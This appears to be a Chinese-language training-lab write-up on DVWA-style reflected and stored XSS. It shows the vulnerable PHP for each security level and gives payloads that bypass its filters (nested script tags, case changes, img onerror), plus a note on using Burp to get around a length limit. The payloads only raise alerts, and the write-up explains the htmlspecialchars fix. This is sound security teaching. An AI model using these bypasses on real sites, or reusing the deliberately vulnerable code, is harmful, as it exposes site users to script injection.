xss
一、反射型
1、low
【后端代码】
未做校验
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>
【payload】
<script>alert(/xss/)</script>
【结果】
2、medium
【业务代码】
增加了 str_replace( '<script>', '', $_GET[ 'name' ] ) 过滤<script>标签替换成空
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
【payload】
通过在<script>中间添加子标签:
<scrip<script>t>alert(/xss/)</script>
构造其他标签:
<img src=0 onerror=alert(/xss/)>
大小写替换绕过过滤:
<Script>alert(/xss/)</scripT>
【结果】
3、high
【业务代码】
增加正则表达式过滤大小写
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?>
【payload】
使用其他标签
<img src=0 onerror=alert(/xss/)>
【结果】
4、Impossible
【业务代码】
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
htmlspecialchars()会过滤掉<>标签,不存在漏洞。
二、存储型
1、low
【业务代码】
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); // Sanitize name input $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
分析与利用:
分析代码执行流程:首先把用户输入的数据,使用trim去除字符串首尾处的空白字符(或者其他字符)。
之后stripslashes方法返回一个去除转义反斜线后的字符串(\' 转换为 ' 等等),双反斜线(\\)被转换为单个反斜线(\)。
之后mysqli_real_escape_string对字符串特殊符号n r ‘ “ 等进行转义
最终未对用户输入数据进行xss检测编码,直接写入到数据库中,于是造成存储型xss漏洞。
【payload】
<script>alert(/xss/)</script>
<img src=0 onerror=alert(/xss/)>
【结果】
2、medium
【业务代码】
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '<script>', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
$name = str_replace( '<script>', '', $name );
【payload】
<img src=0 onerror=alert(/xss1/)>
<Script>alert(/xss2/)</sCript>
<sc<script>ript>alert(/xss3/)</script>
【结果】
【补充】
name字段html字符长度限制,用Burp绕过
3、high
【业务代码】
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); $name = mysql_real_escape_string( $name ); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); //mysql_close(); } ?>
message用的htmlspecialchars()不存在漏洞。 $message = htmlspecialchars( $message );
name用的正则表达式。 $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
【payload】
【结果】
4、Impossible
【业务代码】
<?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); $message = mysql_real_escape_string( $message ); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = mysql_real_escape_string( $name ); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?>
name和message都使用了htmlspecialchars方法,于是此处不存在xss漏洞。